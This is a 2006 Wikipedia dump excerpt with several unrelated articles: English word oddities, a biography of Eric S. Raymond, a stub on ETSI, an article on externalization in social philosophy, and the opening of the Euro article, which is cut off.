:''See main articles [[Palindrome]] and [[Semordnilap]].''

===First and last words by reversed spelling===

In a dictionary that lists the reversed spellings of words alphabetically, some of the first entries (excluding proper names) would be:

*''a'' (=''a'', the indefinite article)
*''aa'' (=''aa'', a type of lava)
*''aab'' (=''baa'', the sound made by a sheep)
*''aahc'' (=''chaa'', a variant of ''char'', British slang for tea)
*''aakkram'' (=''markkaa'', plural of ''[[markka]]'', a former Finnish unit of currency)
*''aam'' (=''maa'', a dialect word for a seagull)
*''aamaju'' (=''Ujamaa'', a political system in East Africa)
*''aaupaukunukunumuhumuh'' (=''[[humuhumunukunukuapuaa]]'', a type of Hawaiian fish)
*...

Some proper names would appear earlier: ''aabbirem'' (=''Meribbaa'', a Biblical name); ''aabmup'' (=''[[Pumbaa]]''); ''aabre'' (=''Erbaa'', a town in Turkey); ''aacisuan'' (=''[[Nausicaa]]''); ''aaemu'' (=''[[Umeaa]]''); ''aagsin'' (=''[[Nisga'a]]'').

The first entries that correspond to common words (including some proper names) would be, in normal letter order, ''casaba'', ''Abba'', ''Sheba'', ''amoeba'', ''[[Toshiba]]'', ''[[Elba]]'', ''melba'', ''mamba'', ''samba''.

The last few entries all come from words ending ''-uzz'', including:

*''zzuh'' (=''huzz'', to buzz or murmur)
*''zzuks'' (=''skuzz'', variant of ''scuzz'')
*''zzul'' (=''luzz'', British slang, meaning to chuck)
*''zzum'' (=''muzz'', British slang, meaning to confuse)
*''zzurf'' (=''fruzz'', to brush hair the wrong way)

===First and last words in anagram dictionary===

Suppose that, in a dictionary of anagrams, the letters of each word are sorted into alphabetical order (for example, &quot;alphabet&quot; becomes &quot;aabehlpt&quot;), and then the resulting strings are themselves sorted alphabetically. After the usual culprits ''a'' and ''aa'', some of the first few words in the dictionary (including only the singular form of nouns) would be:

*''aaaaaacceglllnorst'' (=''astragalocalcaneal'')
*''aaaaaaccegllnorrst'' (=''calcaneoastragalar'')
*''aaaaaalmrsstt'' (=''[[taramasalata]]'', a fish roe paste)
*''aaaaaannrstyy'' (=''Satyanarayana'', another name for [[Vishnu]])
*''aaaaabbcdrr'' (=''[[abracadabra]]'', a word said when performing a magic trick)

The end of the list might appear something like:

*''utx'' (=''tux'', contraction of ''tuxedo'', a dinner jacket)
*''uty'' (=''Tuy'', a city in Spain)
*''uw'' (=''[[Wu (linguistics)|Wu]]'', a Chinese dialect (and region))
*''ux'' (=''xu'', a Vietnamese unit of currency)
*''uy'' (=''yu'', Chinese jade)
*''uz'' (=''Zu'', a Sumerian god)
*''uzz'' (=''zuz'', an ancient Hebrew coin)

== Pairs and groups of words ==

===Homophones===

''[[Sheep|Ewe]]'' and ''[[you]]'' are a pair of words with identical pronunciations that have no letters in common.  Another example is the pair ''[[eye]]'' and ''[[I]]''.  However, such word pairs are often dependent on the accent of the speaker.  For instance, Americans might well believe that ''[[a]]'' and ''[[eh]]'' form such a pair whereas other English speakers might not.

See also [[Homophone]], [[List of homophones]] and [[List of commonly confused homonyms]].

=== Homographs ===

[[Homograph]]s are words with identical spellings but different meanings. A famous example is the town of ''[[Reading, Berkshire|Reading]]'' (pronounced to rhyme with ''threading'') vs. the gerund ''reading'', as in reading a book (pronounced to rhyme with ''feeding'').  At one time the bookseller [[Blackwell's]] had a branch in Reading, signed &quot;Blackwells Reading Book Shop&quot;, in which either pronunciation made sense. 

See also [[List of English homographs]].

=== Self-antonymns ===

''Main article: [[Auto-antonym]].''

A few English words have such disparate definitions that one meaning is the opposite of another. These are called &quot;self-antonyms&quot;, &quot;auto-antonyms&quot; or &quot;contronyms&quot;. Examples include ''cleave'' or ''clip'' (joining things together or taking them apart), ''fast'' (move quickly or fix in one spot), ''enjoin'' (to cause something to be done, to forbid something from being done), and ''inflammable'' (able to be burned or fire-proof).

===Sequences of words formed by the addition of letters===

The nine-word sequence ''I'', ''in'', ''sin'', ''sing'', ''sting'', ''string'', ''staring'', ''starting'' (or ''starling''), ''startling'' can be formed by successively adding one letter to the previous word. 
There are a number of other nine-word sequences that use only common words, and numerous shorter sequences, such as the seven-word ''a'', ''at'', ''rat'', ''rate'', ''irate'', ''pirate'', ''pirates''.

If rare words, proper names and/or obsolete words are allowed then sequences of at least eleven words are possible. One example is: ''a'', ''ma'' (mother), ''mac'' (raincoat, British), ''[[mace (spice)|mace]]'' (spice), ''[[macle]]'' (mineral), ''[[macule]]'' (skin spot), ''maculae'' (plural of ''macula'', variant of ''macule''), ''maculate'' (blotchy), ''masculate'' (to make strong, obsolete), ''emasculate'', ''emasculated''. 

''Al'', ''Ala'', ''Alan'', and ''Alana'' is a sequence consisting only of first names.

A seven-word sequence in which letters are added to the ''end'' of the previous word is: ''ma'', ''max'' (used in phrases such as ''to the max''), ''maxi'' (a long skirt), ''maxim'', ''maxima'' (plural of ''[[maximum]]''), ''maximal'', ''maximals'' (plural of ''[[maximal]]'', used as noun in mathematics). An eight-word sequence including proper nouns is: ''ta'' (thanks, British), ''tam'' (Scottish cap), ''[[Tama]]'' (asteroid), ''[[Tamar]]'' (English river), ''[[tamari]]'' (soy sauce), ''[[tamarin]]'' (monkey), ''[[tamarind]]'' (tree), ''tamarinds'' (plural).

The one-syllable word ''are'', with the addition of one letter, becomes ''[[area]]'', a word with three syllables.

A six-word sequence in which letters are added to the ''beginning'' of the words is: ''hes'' (plural of ''he'', used as a noun to mean a male), ''shes'' (plural of ''she''), ''ashes'', ''lashes'', ''plashes'' (plural of ''plash'', a splashing sound), ''splashes''.

===&quot;ough&quot; words===

The most notorious group of letters in the English language, ''ough'', is commonly pronounced at least ten different ways. Ough is in fact a word in its own right; it is an exclamation of disgust similar to &quot;ugh&quot;.

{| class=&quot;wikitable&quot; 
![[Pronunciation|Pron.]] !![[International Phonetic Alphabet|IPA]] !!Example !!Comment
|--- valign=&quot;top&quot;
|&quot;UFF&quot; ||{{IPA|[&amp;#652;f}}] ||tough, enough ||
|--- valign=&quot;top&quot;
|&quot;OFF&quot; ||{{IPA|[&amp;#596;f}}] or {{IPA|[&amp;#594;f}}] ||cough, [[trough]] ||''Trough is pronounced like 'troth' by some speakers of American English''
|--- valign=&quot;top&quot;
|&quot;OW&quot; ||{{IPA|[a&amp;#650;}}] ||bough ||
|--- valign=&quot;top&quot;
|&quot;OH&quot; ||{{IPA|[&amp;#601;&amp;#650;}}] ||though, [[dough]] ||
|--- valign=&quot;top&quot;
|&quot;AW&quot; ||{{IPA|[&amp;#596;&amp;#720;}}] ||[[thought]] ||
|--- valign=&quot;top&quot;
|&quot;OO&quot; ||{{IPA|[u&amp;#720;}}] ||through, [[slough]] || ''Slough is pronounced as 'slew' or to rhyme with &quot;bough&quot; or to rhyme with &quot;tough&quot; in American English, in British English it rhymes with &quot;bough&quot; or &quot;tough&quot;''
|--- valign=&quot;top&quot;
|&quot;UH&quot; ||{{IPA|[&amp;#601;}}] ||thorough, [[borough]] ||''Both pronounced as 'OH' in American English''
|--- valign=&quot;top&quot;
|&quot;UP&quot; ||{{IPA|[&amp;#652;p}}] ||[[hiccough]] ||''Variant spelling of &quot;hiccup&quot;, though the latter form is recommended in both British and US''
|--- valign=&quot;top&quot;
|&quot;UFF&quot; ||{{IPA|[&amp;#650;f}}] ||wough ||''Compare &quot;wuff&quot;''
|--- valign=&quot;top&quot;
|&quot;UKH&quot; ||{{IPA|[ux}}] ||sough ||''In some words in [[Scots language|Scots]]; otherwise pronounced 'UFF' or 'OW' ''
|--- valign=&quot;top&quot;
|&quot;OHKH&quot; ||{{IPA|[&amp;#601;&amp;#650;x}}] ||jough, turlough ||''[[Manx language|Manx]] and [[Irish language|Irish]] respectively''
|--- valign=&quot;top&quot;
|&quot;OCK&quot; ||{{IPA|[&amp;#596;k}}] ||hough ||''More commonly spelled &quot;hock&quot; from the 20th Century onwards''
|--- valign=&quot;top&quot;
|&quot;OKH&quot; ||{{IPA|[&amp;#594;x}}] ||[[lough]] ||''A lake; Irish analogue of [[Scots language|Scots]] &quot;loch&quot;''
|}

The original pronunciation in all cases was the last one.  However the ''kh'' sound has disappeared from most modern English dialects.  As it faded, different speakers replaced it by different near equivalents in different words.  Thus the present confusion resulted.

The two &quot;ough&quot;s in the English place name [[Loughborough]] are pronounced differently, resulting in ''Luffburruh''.

''Tough'', ''though'', ''through'', and ''thorough'' are formed by adding an additional letter each time, yet none of them rhymes with another.

== Long words ==
''Main article: [[Longest word in English]].''

''[[Antidisestablishmentarianism]]'' listed in the ''[[Oxford English Dictionary]]'', was considered the longest English word for quite a long time, but today the medical term ''[[Longest word in English#A coined term | pneumonoultramicroscopicsilicovolcanoconiosis]]'' is usually considered to have the title, despite the fact that it was coined to provide an answer to the question 'What is the longest English word?'. 

The ''[[Guinness Book of Records]]'', in its [[1992]] and subsequent editions, declared the &quot;longest real word&quot; in the English language to be '''[[floccinaucinihilipilification]]''' at 29 letters. Defined as ''the act of estimating (something) as worthless'', its usage has been recorded as far back as [[1741]].

[[Chemical nomenclature]] of [[organic compound]]s and especially [[protein]]s can easily beat any record, as offical nomenclature rules lead to legitimate names thousands of letters long.

=== Longest one-syllable word ===
''Main article: [[List of the longest English words with one syllable]].''

The longest one-[[syllable]] word in the English language is either ''squirrelled'', ''scraunched'', or one of several 9-letter words. The first two words may be pronounced using more than one syllable in some [[accent]]s.  ''Rhythmlessly'' is the longest with only one [[vowel]].

== Unrhymable words ==
In the most common form of [[rhyme]], words rhyme if they end in identically or nearly-identically sounding syllables, and match in stress. If a word has an unusual or unique ending syllable and no other word has a [[stress pattern]] to match, it does not rhyme. Excluding disputed loan words, whose foreign sounds make them obviously difficult, unrhymable English words include ''chimney'', ''depth'', ''month'', ''orange'', ''pint'', ''purple'', and ''wasp''. Of these, ''[[orange (word)|orange]]'' is arguably the one most famous for being unrhymable.

''Silver'' is commonly considered unrhymable, however it rhymes with [[chilver]], a young fish.

Note that some words rhyme if we allow prefixed derivatives of them (like ''empurple'' or ''desilver''), but this is not commonly considered proper rhyme.

The most common way to concoct a &quot;rhyme&quot; for such words &amp;mdash; usually in humorous poetry &amp;mdash; is to rhyme it with the first syllable of a word that is split over two lines. An example is rhyming ''orange'' with ''car eng/ine'', noted by [[Douglas Hofstadter]]. Likewise, [[Stephen Sondheim]] rhymed ''silver'' with &quot;will, ver-/bosity, and time&quot;, and [[Willard R. Espy]] managed the couplet &quot;I might distil Ver-/ona's silver&quot;. On a similar note, ''orange'' has been rhymed with &quot;door hinge&quot;.

== Words with large numbers of meanings ==
Scanning the ''Oxford English Dictionary'' reveals an astounding 76 definitions of the word ''run''. The top five words with large numbers of meanings are:
# ''[[run]]'' (76)
# ''[[Set_(disambiguation)|set]]'' (63)
# ''[[point]]'' (49)
# ''[[strike]]'' (48)
# ''[[light]]'' (47)

==Acronyms as words ==

Some acronyms have attained the status of words. Many are company names  that were either deliberately created for marketing reasons or have morphed from true acronyms over time, such as [[Compaq]], a computer company; [[Qantas]], an Australian airline; and [[Nasdaq]], the US electronic stock market. Others are organizations, such as [[Nato]], the North Atlantic Treaty Organization (spelled with all capital letters in the U.S.). 

Other examples include [[qwerty]] &amp;ndash; the name of the most common keyboard layout, [[WYSIWYG]], pronounced 'Wizzywig', describing a computer program which displays accurate previews of work.

==Typewriter words==

The longest words spelt solely with the left hand when typing properly using a [[QWERTY]] keyboard may be the 14-letter ''[[aftercataract]]s'' (secondary cataracts of the eye) and ''sweaterdresses'' (plural of ''[[sweaterdress]]'', a knitted dress). The longest common words are the 12-letter ''desegregated'', ''desegregates'', ''reverberated'', ''reverberates'' and ''stewardesses''.

The 13-letter chemical name ''[[phyllophyllin]]'' can be typed solely with the right hand. The longest such word that is reasonably common is the 9-letter ''[[polyphony]]''.

Common words of ten letters that can be spelled solely with the top line of letters on a [[QWERTY]] keyboard include ''perpetuity'', ''proprietor'', ''repertoire'' and, fittingly, ''[[typewriter]]''. There are at least two eleven-letter words, both rare: ''proterotype'' and ''[[rupturewort]]''.

The eight-letter words ''ashfalls'', ''Falashas'', ''[[Hadassah]]'', ''[[Haggadah]]'' and ''[[Haskalah]]'' can all be typed on the middle row of letters on the keyboard. The longest such common word is probably the seven-letter ''[[alfalfa]]''.

==See also==

* [[English language]]
* [[Word Ways]]: The Journal of Recreational Linguistics
* [[Inherently funny word]]
* [[Lists of English words of international origin]]
* [[Lists of words]]
* [[List of names in English with non-intuitive pronunciations]]
* [[Supercalifragilisticexpialidocious]]
* [[Ghoti]]
* [[cellar door]]
* [[Siamese twins (English language)]]

==External links==
*[http://members.aol.com/gulfhigh2/words.html A Collection of Word Oddities and Trivia]
*[http://cetus.pmel.noaa.gov/AB/dave/wordplay.html Word Oddities]
*[http://users.tinyonline.co.uk/gswithenbank/wordtriv.htm Word Trivia]
*[http://www.oneletterwords.com/index.php Strange and Unusual Dictionaries]
*[http://www.straightdope.com/mailbag/mantidis.html What does antidisestablishmentarianism mean?]
*[http://www.fun-with-words.com/ Fun with words]

[[Category:Lists of English words|Uncommon properties, English words with]]</text>
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  <page>
    <title>Eric S. Raymond</title>
    <id>9469</id>
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      <timestamp>2006-03-04T05:03:34Z</timestamp>
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      </contributor>
      <comment>rv deletion by [[User:Robust Physique|Robust Physique]]</comment>
      <text xml:space="preserve">[[Image:305.JPG|thumb|right|Eric S. Raymond]]

'''Eric Steven Raymond''' (born [[December 4]], [[1957]]), often referred to as '''ESR''', is the author of &quot;[[The Cathedral and the Bazaar]]&quot; and the present maintainer of the &quot;[[Jargon File]]&quot; (also known as &quot;The New Hacker's Dictionary&quot;). Though the Jargon File established his original reputation within [[hacker culture]], after [[1997]] he became a figure in the [[open source movement]], and is today one of its most controversial characters.

Raymond is an avowed [[libertarian]]. He is known to have strong interests in [[science fiction]] and [[firearms]], is an enthusiastic amateur musician, and claims to have a black belt in [[taekwondo]]. His advocacy of [[Second Amendment to the United States Constitution|Second Amendment]] gun rights and support for the [[2003 invasion of Iraq]] has nettled many, but he seems to enjoy the controversy those positions engender.{{ref|dancingwithgods}}  Raymond suffers from a mild form of congenital [[cerebral palsy]].

== Hacker ==
Born in [[Boston, Massachusetts]] in [[1957]], Raymond lived on three continents before settling in [[Pennsylvania]] in [[1971]]. His involvement with hacker culture began in [[1976]] and he contributed to his first [[open source software]] project in [[1982]]. Since then, his primary contribution to open source software has been maintaining the [[fetchmail]] email client. Minor contributions have included [[Emacs]] editing modes and portions of libraries like [[ncurses|GNU ncurses]], giflib/libungif, and [[libpng]]. He has also written a number of [[How-to]] documents that are now included in the [[Linux Documentation Project]] corpus.
Raymond's public claim to be a &quot;Core Linux Developer&quot; has been disputed since he has never had code accepted into the Linux kernel. His sole attempt to contribute to Linux (the [[Configuration Menu Language|CML2]] configuration system) was rejected by [[Linux kernel]] developers.
[http://kerneltrap.org/node/view/17][http://www-106.ibm.com/developerworks/linux/library/l-ivesr.html?ca=dgr-lnxw09EricRaymond][http://kerneltrap.org/node/view/340]

Raymond initially became known by hackers for his adoption of the [[Jargon File]]. Some have become dissatisfied with the resulting character of the work due to the inclusion of material invented by Raymond or reflecting his own political views. Objectors to Raymond's stewardship are of the opinion that the Jargon File should be an impartial record of &quot;hacker culture&quot;.[http://slashdot.org/articles/03/06/08/1534249.shtml]

== &quot;Open source&quot; ==
Raymond coined the [[aphorism]] &quot;Given enough eyeballs, all bugs are shallow.&quot; He credits [[Linus Torvalds]] with the inspiration for this quotation, which he dubs &quot;[[Linus's law]]&quot;. The quotation appears in ''[[The Cathedral and the Bazaar|The Cathedral and the Bazaar: Musings on Linux and Open Source by an Accidental Revolutionary]]'', Sebastopol, California: O'Reilly &amp; Associates.[http://www.catb.org/~esr/writings/cathedral-bazaar/cathedral-bazaar/ar01s04.html]  In 1997, Raymond became a prominent voice in the open source movement and was a co-founder of the [[Open Source Initiative]]. He also took on the self-appointed role of ambassador of [[open source]] to the press, business and public.  The release of the [[Mozilla]] (then [[Netscape (web browser)|Netscape]]) source code in [[1998]] was an early accomplishment.  He has agreed to lecture at [[Microsoft]] [http://www.techweb.com/wire/story/TWB19990615S0032], has accepted stock options from [[VA Software]] to provide credibility to the company and act as a hired &quot;corporate conscience&quot;[http://linuxtoday.com/news_story.php3?ltsn=1999-12-10-001-05-NW-LF] [http://lwn.net/2001/0222/a/esr-hard-times.php3] and has spoken in more than fifteen countries on six continents.

Raymond has had a number of public disputes with other figures in the free software movement. His disagreement with [[Richard Stallman]] and the [[Free Software Foundation]]'s views on the ethics of free software in favour of a more market-driven stance has exacerbated some pre-existing tensions in the community. In 1999, Raymond published an article entitled &quot;Shut Up And Show Them The Code&quot;[http://linuxtoday.com/stories/7196.html#talkback_area].  The article criticized [[Richard Stallman]] over tactics to promote free and [[open source]] software, implying Stallman spent too much time proselytizing and not producing code. Stallman is the original author of some of the most widely used and sophisticated pieces of free software in the world, including [[EMACS|Emacs]], [[GNU Compiler Collection|GCC]], [[GNU Debugger|GDB]], and [[Make|GNU Make]].

Raymond addressed some of his critics from the software development community in his 1999 essay &quot;Take My Job, Please!&quot; [http://www.catb.org/~esr/writings/take-my-job-please.html], stating that he was willing to &quot;back to the hilt&quot; anyone qualified and willing to take his job and present the case for open source to the world. In February 2005, Raymond stepped down as the president of the [[Open Source Initiative]].

== Commentator ==
Raymond is a prolific writer of political and technical opinion pieces through his website and blog.  Since the summer of 2003, Raymond has used his [[web log]][http://esr.ibiblio.org/] to promote his views on politics, race and the Iraq war. Controversial opinions he has attempted to defend include that African Americans are responsible for a disproportionate percentage of crimes because they have lower [[IQ]]s [http://esr.ibiblio.org/?p=129], and that the United States should embark on a campaign of &quot;deliberate cultural genocide&quot; against the Islamic world 
[http://armedndangerous.blogspot.com/2002_09_15_armedndangerous_archive.html#81815163].

[[Image:raymond007-7.jpg|thumb|right|Eric S. Raymond (''One Magazine'' photo shoot)]]

==Books by Raymond==
* The New Hacker's Dictionary (editor) (MIT Press, paperback ISBN 0-262-68092-0, cloth ISBN 0-262-18178-9) &amp;mdash; printed version of the [[Jargon file]]
* The Cathedral and the Bazaar (O'Reilly; hardcover ISBN 1565927249, October 1999; paperback ISBN 0596001088, January 2001) &amp;mdash; includes &quot;[[The Cathedral and the Bazaar]]&quot;, &quot;[[Homesteading the Noosphere]]&quot;, &quot;The Magic Cauldron&quot; and &quot;Revenge of the Hackers&quot;
* [[The Art of Unix Programming]] (Addison-Wesley, October 2003; paperback ISBN 0131429019)

==External links==
{{wikiquote}}
*[http://www.catb.org/~esr/ Raymond's home page]
**[http://esr.ibiblio.org ESR's weblog]
*{{gutenberg author | id=Eric_S._Raymond | name=Eric S. Raymond}}
*[http://www.imdb.com/name/nm0713253/ imdb filmography] (movies with Eric S. Raymond)
*[http://www.catb.org/~esr/writings/cathedral-bazaar/ The Cathedral and the Bazaar]
*[http://catb.org/~esr/writings/unix-koans/ Rootless Root: The Koans of Master Foo], 2003
*[http://www.catb.org/~esr/faqs/loginataka.html The Loginataka: Dialogue between a guru and a newbie], 1992
*[http://www.firstmonday.org/issues/issue4_12/bezroukov/index.html A Second Look at the Cathedral and Bazaar by Nikolai Bezroukov (First Monday)]
*[http://www.ora.de/catalog/cb/chapter/ The Magic Cauldron], 1999
*[http://www.catb.org/~esr/faqs/hacker-howto.html How To Become A Hacker]
*[http://www.catb.org/~esr/jargon/ Jargon File]
*[http://linuxtoday.com/news_story.php3?ltsn=1999-12-10-001-05-NW-LF Surprised by Wealth] &amp;mdash; Raymond's thoughts immediately after the [[VA Linux]] [[initial public offering]]
*[http://www.dwheeler.com/essays/finding-raymond.html Finding Eric S. Raymond] &amp;mdash; or why links to his former home page at tuxedo.org don't work anymore
*[http://www.catb.org/~esr/writings/cups-horror.html The Luxury of Ignorance: An Open-Source Horror Story] &amp;mdash; ESR's critique of software usability
*[http://eurohacker.mine.nu/index.php?show_article=i001a005 Interview with ESR] in [[EuroHacker Magazine]] where he talks about guns and politics.
*[http://archive.salon.com/21st/feature/1998/04/cov_14feature.html A Salon article on Netscape and Raymond; also mentions that he suffers from cerebral palsy]
*[http://geekz.co.uk/ Everybody loves Eric Raymond] Online comic, critical of ESR and his blog entries
*[http://esr.1accesshost.com/ The Emperor Has No Clothes] &amp;mdash; Criticism of ESR

==References==
# {{note|dancingwithgods}} {{cite web
 | first = Eric S.
 | last = Raymond
 | title = Dancing With The Gods
 | work = Eric's Home Page
 | publisher = Individual
 | year = 1995-07-25
 | url = http://www.catb.org/~esr/writings/dancing.html
 | accessdate = September 14
 | accessyear = 2005
 }}
* [[Revolution OS]], Linux Documentary with Eric S. Raymond on VHS/DVD

[[Category:1957 births|Raymond, Eric S.]]
[[Category:Living people|Raymond, Eric S.]]
[[Category:American bloggers|Raymond, Eric S.]]
[[Category:American hackers|Raymond, Eric S.]]
[[Category:American technology writers|Raymond, Eric S.]]
[[Category:Free software|Raymond, Eric S.]]

[[ca:Eric S. Raymond]]
[[de:Eric Steven Raymond]]
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[[fr:Eric Raymond]]
[[he:אריק ס. ריימונד]]
[[it:Eric Steven Raymond]]
[[ja:エリック・レイモンド]]
[[ko:에릭 레이먼드]]
[[nl:Eric Raymond]]
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[[zh:埃里克·斯蒂芬·雷蒙]]</text>
    </revision>
  </page>
  <page>
    <title>European Telecommunications Standards Institute</title>
    <id>9470</id>
    <revision>
      <id>40363086</id>
      <timestamp>2006-02-20T01:47:48Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">The '''European Telecommunications Standards Institute''' ('''ETSI''') is an independent, non-profit, [[standardization]] organization of the [[telecommunication]]s industry (equipment makers and network operators) in [[Europe]], with worldwide projection.  ETSI has been successful in standardizing the [[GSM]] cell phone system and the [[Terrestrial Trunked Radio|TETRA]] professional mobile radio system.

Significant ETSI standardisation bodies are [[3GPP]] (for [[UMTS]] networks) or [[TISPAN]] (for fixed networks and [[Internet]] convergence).

ETSI was created by [[European Conference of Postal and Telecommunications Administrations|CEPT]] in [[1988]] and is officially recognized by the [[European Commission]] and the [[EFTA]] secretariat. Based in [[Sophia Antipolis]] ([[France]]), ETSI is officially responsible for standardization of [[Information and Communication Technologies]] (ICT) within Europe. These technologies include telecommunications, broadcasting and related areas such as intelligent transportation and medical electronics. ETSI has 688 members from 55 countries inside and outside Europe, including manufacturers, network operators, administrations, service providers, research bodies and users - in fact, all the key players in the ICT arena.

In 2005, ETSI budget exceeded 20 million Euros, with contributions coming from members, commercial activities like sale of documents, plugtests and fora hosting, contract work and partner funding. Of this about 40% goes towards operating expenses and the remaining 60% is utilized towards work programs including competency centers and special projects.

==See also==
* [[KASUMI]]
* [[HIPERMAN]]
* [[HIPERLAN]]

==External links==
*[http://www.etsi.org/ Official web site]

{{Org-stub}}

[[Category:Standards organizations]]
[[Category:1988 establishments]]

[[de:Europäisches Institut für Telekommunikationsnormen]]
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[[nl:Europees Telecommunicatie en Standaardisatie Instituut]]
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[[zh:欧洲电信标准协会]]</text>
    </revision>
  </page>
  <page>
    <title>Externalization</title>
    <id>9471</id>
    <revision>
      <id>28747426</id>
      <timestamp>2005-11-19T12:32:24Z</timestamp>
      <contributor>
        <ip>130.226.143.162</ip>
      </contributor>
      <comment>/* References */</comment>
      <text xml:space="preserve">:''This article is about social philosophy. For externalization (of cost), in the context of economics, see [[externality]].

'''Externalization''' means to put something outside of its original borders, especially to put a human function outside of the human body.  The opposite of externalization is [[internalization]].

In a concrete sense, by taking notes, we can externalize the function of [[memory]] which normally belongs in the [[brain]].

In a more abstract sense, by inventing [[excuse]]s, we can externalize the [[guilt]] associated with our actions.

In [[Freud]]ian psychology, '''externalization''' is an [[unconscious mind|unconscious]] [[defence mechanism|defense mechanism]], where an individual &quot;[[psychological projection|projects]]&quot; his own internal characteristics onto the outside world, particularly onto other people. For example, a patient who is overly argumentative might instead perceive others as argumentative and himself as blameless.

Like other defense mechanisms, externalization is a protection against [[anxiety]] and is, therefore, part of a normal, healthily-functioning mind. However, if taken to excess it can lead to the development of a [[neurosis]].

[[Category:Sociology]][[Category:Social philosophy]]

==Externalized Cognition==

	The concept of &quot;externalized cognition&quot; stands for the phenomenological manifestation of &quot;communicative signs, behavior or material artifacts&quot; (Kuchka 2001:60), and it includes the entire spectrum of human arts and actions and even emotions at a more latent and subconscious level or explicitly. It is at the core of the modern anthropological pursuit, an emergent property of human activity in this planet, past and present. We are within it and depend on it to communicate and organize. It is composed of incredibly complex textual, visual, auditory, sensual, tactile, olfactory, mental and spiritual informational substances and it is tremendously variable in form and substance; involving the existence of direct continuities and breaks between traditions overtime and also possible broader relations and similarities, cross-culturally and throughout history and back into prehistory and what are strictly archaeological and paleoanthropological types of information sets. A cognition can be externalized and captured by archaeologists with such unusual techniques as 'palynology': The differences in frequencies of domestic versus wild pollens overtime can be extracted using cores in ancient silt deposits under the bottoms of lakes, reflecting relatively accurately the degree of human occupation in the particular area in question. 

	The process of “externalization of cognition” brings to the world and to the scrutiny of human reason “aspects of thinking” that facilitate “multidimensional manipulation[s]” in the organizational sphere of human phenomena, including most strikingly “special speech genres” (Gumperz and Levinson 1991:614) e.g., politics, propaganda, journalism, theatrical performances, lectures, etc. The process for the recognition of different externalizations is gradual and is absolutely interactive, involving inevitably some kind of mental action on the part of the being phenomenally involved with the externalization, a relation that, for humans, demands the direct choice of certain interpretive or hermeneutic devices to the exclusion of others in a very complex chain of cybernetic connections. Thus it is conceivable that “there is a very special kind domain of discursive practice and externalized cognition that lies in some sense between the inner life of the mind and the outer world of objects and behavior, partaking of both”(Gumperz and Levinson 1991:614). It is through the systematic analysis and comparison of systems of externalized cognition that anthropologists “celebrate cultural difference”, sometimes even admitedly exaggerating it to provide some kind of “antidote to tendencies in cognitive science, where culture and often language are treated as invisible, not as mediators between the mind and the world” (Gumperz and Levinson 1991:622).

The concept of externalized cognition could be also understood as directly connected and somehow controlled by 'intelligence' which can be defined as “the faculty of relating one point of space to another, one material object to another, [which] applies to all things, but remains outside them” (Bergson 1998[1911]:175). This 'intelligence', however, is also analogous to the cybernetic idea of 'mind' as “an aggregate of interacting parts or components”, and these parts and interactions are “triggered by difference [...], a nonsubstantial phenomenon not located in space or time” (Bateson 2002[1978]:85). The constant interactive flow of between these differences have effects in mental processes that “are to be regarded as transforms (i.e., coded versions) of events which preceded them” (Bateson 2002[1978]:86).

It must logically follow that any kind of externalized cognition can be contextualized and interpreted, however indefinetly and variably, as being systemically connected to larger sets of environmental relationships with other beings and objects. The laptop I am using to write this text could not have been pieced together without the informational collaboration of several sets of knowledge in differential relationships, organized and directed by humans for its current purpose. This computer also represents technological and intellectual traditions stretching and spreading back in time; humans have become able to select, gather and filter the right set of information and knowledge in such a way that the externalization envisioned and produced is a laptop computer – a conductor and retainer of contextualizable information. The same could be said of any of our productions or expressions – one of the main differences between our products being how and for what purpose they are being conceived, designed, produced and shared. 

==References==

* [[Bateson, Gregory]].  Mind and Nature. Cresskill: Hampton Press Inc., [[1978]], [[2002]].
	
* [[Henri Bergson]].  Creative Evolution. Arthur Mitchell, trans. NY: Dover, [[1911]], [[1998]].	
* [[Kuchka, H.E]].  Method for Theory: A Prelude to Human Ecosystems. In Journal of Ecological Anthropology Vol.5, [[2001]]. &lt;http://guallart.dac.uga.edu&gt;

* [[Gumperz, John J.]], and Stephen C. Levinson.  Rethinking Linguistic Relativity. In Current Anthropology, Vol.32, No.5 (Dec., [[1991]]), 613-623.

[[de:Externalisierung]]</text>
    </revision>
  </page>
  <page>
    <title>Euro</title>
    <id>9472</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42115274</id>
      <timestamp>2006-03-03T22:45:27Z</timestamp>
      <contributor>
        <username>Bevo</username>
        <id>19619</id>
      </contributor>
      <minor />
      <comment>consistent internal and/or external formatting</comment>
      <text xml:space="preserve">:&lt;span class=&quot;dablink&quot;&gt;''For other uses, see [[{{PAGENAME}} (disambiguation)]] or [[EUR (disambiguation)]].''&lt;/span&gt; 
{{Life in the European Union}}
The '''euro''' (symbol: '''&amp;euro;'''; [[ISO 4217|banking code]]: '''EUR''') is the single [[currency]] of the following twelve [[European Union]] member states: [[Austria]], [[Belgium]], [[Finland]], [[France]], [[Germany]], [[Greece]], [[Republic of Ireland|Ireland]], [[Italy]], [[Luxembourg]], the [[Netherlands]], [[Portugal]] and [[Spain]]; collectively also known as the [[eurozone]]. 

The euro is the official currency of the [[European Union]]. It was introduced to world financial markets in [[1999]] and launched as a currency in [[2002]]. The euro is strongly advancing both economic and political integration among the participating EU member states. All EU member states are eligible to join if they comply to certain monetary requirements.

The euro is managed and administered by the [[European Central Bank]] (ECB) (headquartered in [[Frankfurt]], [[Germany]]) and the [[European System of Central Banks]] (ESCB) (composed of the [[central bank|central banks]] of its member states). As an independent [[central bank]], the ECB has sole authority to set [[monetary policy]]. The ESCB participates in the printing, minting and distribution of [[Euro banknotes|notes]] and [[Euro coins|coins]] in all member states, and the operation of the eurozone payment systems.

==Characteristics of the euro==

===Coins and banknotes===

[[Image:Euro banknotes.jpg|220px|right|Euro banknotes]]
[[Image:Euro coins.jpg|100px|right|Euro coins]]

:''Main articles: [[euro coins]], [[euro banknotes]]''.

The euro is divided into 100 '''[[Cent (currency)|cents]]'''. In  each language, the form &quot;cent&quot; is officially required to be used in legislation in both the singular and in the plural, though in English (and French) the natural plural ''cents'' is recommended for use in material aimed at the general public. (For more information on language and the euro, see [[Linguistic issues concerning the euro]].)

